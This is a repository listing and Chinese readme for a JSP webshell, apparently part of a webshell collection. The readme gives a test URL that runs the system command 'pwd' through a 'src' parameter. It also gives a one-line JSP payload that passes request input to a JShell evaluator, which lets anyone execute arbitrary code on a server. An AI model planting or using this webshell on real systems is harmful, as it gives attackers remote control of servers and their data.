webshell/jsp/p2j.cn
2019-10-08 15:30:13 +08:00
..
20190910185302_297.png Add files via upload 2019-10-08 15:28:26 +08:00
jshell.jsp Create jshell.jsp 2019-10-08 14:46:46 +08:00
readme.md Update readme.md 2019-10-08 15:30:13 +08:00

readme

图片

测试用例:http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()

如果强迫症想撸掉多余的输出:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

from: http://p2j.cn/?p=1874